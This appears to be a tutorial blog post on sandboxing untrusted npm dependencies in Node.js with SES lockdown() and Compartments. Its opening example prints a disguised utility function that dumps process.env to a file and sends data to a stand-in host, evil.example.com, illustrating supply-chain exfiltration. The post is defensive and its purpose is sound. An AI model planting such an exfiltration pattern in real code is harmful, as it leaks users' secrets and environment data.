A single compromised transitive dependency can exfiltrate your process.env, write to your filesystem, and open outbound connections. It does not need a vulnerability in your code. It just needs to exist inside the same process. In JavaScript, every module inherits the full authority of the runtime by default. This is ambient authority, and removing it is one of the most effective security upgrades you can make to a Node.js application.
What ambient authority looks like in JavaScript
Ambient authority means access rights are not tied to what you were given. They are tied to where you are running. Any code inside a Node.js process can reach for fs, http, child_process, or process.env without asking permission. The runtime makes these globals available to every module, trusted or not.
// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';
function innocentUtility(data) {
fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
return data.toUpperCase();
}
The innocentUtility function was imported to uppercase a string. Because it runs inside a Node.js process, it also has the power to read environment variables and phone home. There is no sandbox. There is no permission model. The code simply assumed these powers because the runtime put them within arm’s reach.
This is not a hypothetical. Supply chain attacks on npm regularly exploit exactly this property. A malicious or compromised dependency does not need a zero-day. It just needs to be required.
Lockdown: the first cut
The SES (Secure ECMAScript) shim, maintained by Agoric, provides a lockdown() function that hardens the JavaScript environment. It freezes every built-in prototype, removes dangerous globals like eval and Function constructor, and prevents prototype pollution. After lockdown, your own code cannot accidentally or maliciously tamper with Array.prototype or Object.prototype.
import 'ses';
lockdown();
// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');
// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};
Lockdown is powerful, but it is not enough on its own. It prevents tampering with the shared environment, but it does not remove ambient authority. A locked-down module can still import fs from 'node:fs' and read your disk. Lockdown secures the language. It does not secure the host.
Compartments: stripping the host
A Compartment is a fresh JavaScript execution environment with its own global scope. Unlike a vm context or a Web Worker, a compartment shares the same event loop and memory heap, but it starts with nothing. No console, no fetch, no process. You must explicitly endow it with every capability it is allowed to use.
import 'ses';
import { readFileSync } from 'node:fs';
lockdown();
const compartment = new Compartment({
// Only these globals exist inside the compartment.
console,
Math,
JSON,
});
// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
// This throws: fetch is not defined.
// fetch('https://evil.example.com');
// This works: Math was endowed.
Math.sqrt(16)
`);
console.log(result); // 4
The compartment cannot touch the filesystem, the network, or process.env because those capabilities were never passed in. If the code inside the compartment is compromised, the blast radius is bounded by what you endowed.
Loading untrusted modules safely
Real supply chain defense means loading third-party code inside a compartment and giving it only the authority it actually needs. Here is a pattern that works with CommonJS or ESM bundles.
import 'ses';
import { readFileSync } from 'node:fs';
lockdown();
// A constrained filesystem capability.
function createScopedReader(baseDir) {
return {
readFile(filename) {
const path = require('node:path').join(baseDir, filename);
// In production, validate the resolved path is inside baseDir.
return readFileSync(path, 'utf-8');
}
};
}
const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');
const compartment = new Compartment({
console: {
log: (...args) => console.log('[plugin]', ...args)
},
fs: createScopedReader('./data/readonly/'),
});
// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);
The vendor code lives in the same process, but it operates inside a capability boundary. It cannot open sockets. It cannot read package.json from your repo. It can only read the files you explicitly scoped and log through the wrapper you provided.
This is not theoretical hardening. The Agoric blockchain uses this model for its smart-contract platform. Every smart contract executes inside a locked-down compartment with explicitly endowed capabilities.
The trade-offs you will hit
Compartments are not free. The SES shim patches prototypes and rewrites some built-in behavior, which adds a small initialization cost. More importantly, many npm packages assume ambient authority. They reach for process, Buffer, or setImmediate without importing them. When those globals are missing, the code crashes.
You have three choices. One, polyfill the missing globals inside the compartment with safe implementations. Two, endow the real globals and accept the risk. Three, audit the dependency and fix its assumptions.
Most of the time, the dependency only needs Buffer or setTimeout. Those are safe to endow. The dangerous ones are fs, net, child_process, and process.env. Those should never enter a compartment unless the code inside genuinely needs them, and even then you should wrap them.
Debugging also gets harder. Stack traces from inside a compartment point into evaluated strings or virtualized sources. Modern Node.js source map support helps, but you will spend time mapping line numbers when things go wrong.
Where this breaks down
Native addons and WASM modules bypass the JavaScript runtime entirely. A .node file loaded with require runs outside the SES compartment and retains full ambient authority. If you need to sandbox native code, compartments are not the answer. You need operating system isolation: seccomp, Landlock, or a separate process.
Compartments also share the same heap and event loop. A compartment can still starve the CPU with an infinite loop or allocate memory until the process crashes. SES provides compute meters to limit execution, but the default compartment does not enforce resource limits. It is a security boundary, not a resource boundary.
A practical starting point
You do not need to rewrite your entire application. Start with the highest-risk dependencies: anything that parses untrusted input, anything loaded dynamically, and anything from a publisher you do not recognize.
import 'ses';
lockdown();
function runUntrusted(pluginCode, userData) {
const compartment = new Compartment({
JSON,
Array,
Object,
// No fetch, no fs, no process.
});
// The plugin receives data and returns a result.
// It cannot phone home. It cannot read files.
return compartment.evaluate(`
(${pluginCode})(${JSON.stringify(userData)})
`);
}
Wrap your plugin system, your template engine, or your user-provided scripts. Give each one a compartment with the minimum authority it needs to do its job. If a dependency does not work inside a compartment, that is a signal. It was written assuming it owned the entire process. That assumption is exactly what you are trying to remove.
FAQ
What is the difference between a Compartment and Node’s vm module?
vm creates a new context with a fresh global object, but it still has access to the full Node.js API unless you explicitly remove it. Compartments start empty and require explicit endowments. They also integrate with SES lockdown to prevent prototype tampering across the entire runtime.
Does this work with TypeScript or bundlers?
Yes. Compartments evaluate JavaScript, so you compile TypeScript first. Bundlers like Rollup or esbuild can bundle a dependency into a single file, which you then load into a compartment. The bundler strips dynamic imports, which actually makes compartment sandboxing easier.
Can I revoke a capability after granting it?
Not directly. A capability passed into a compartment is a reference to a JavaScript object. If you need revocation, wrap the capability in a proxy or token-gated wrapper that checks a flag on each access. This is the same revocation problem all capability systems face.
Is SES production-ready?
SES has been running in production on the Agoric blockchain since 2021. The ses package on npm is actively maintained. It passes the TC39 proposal process for JavaScript standardization, though it is not yet part of the language specification.
Does this replace containerization?
No. Compartments are a process-level security boundary. Containers are an operating system boundary. Use compartments to limit what code inside your process can do. Use containers to limit what the process itself can do. They stack.
Ambient authority is the default in JavaScript because it is convenient. Convenience and security are not the same thing. Lockdown and compartments let you strip away the ambient power that every module inherits by default and replace it with explicit, scoped, auditable capabilities. Start with one untrusted dependency. Put it in a compartment. Take away its fs and its fetch. See what actually breaks. Most of the time, the thing that breaks is an assumption your dependency never had the right to make.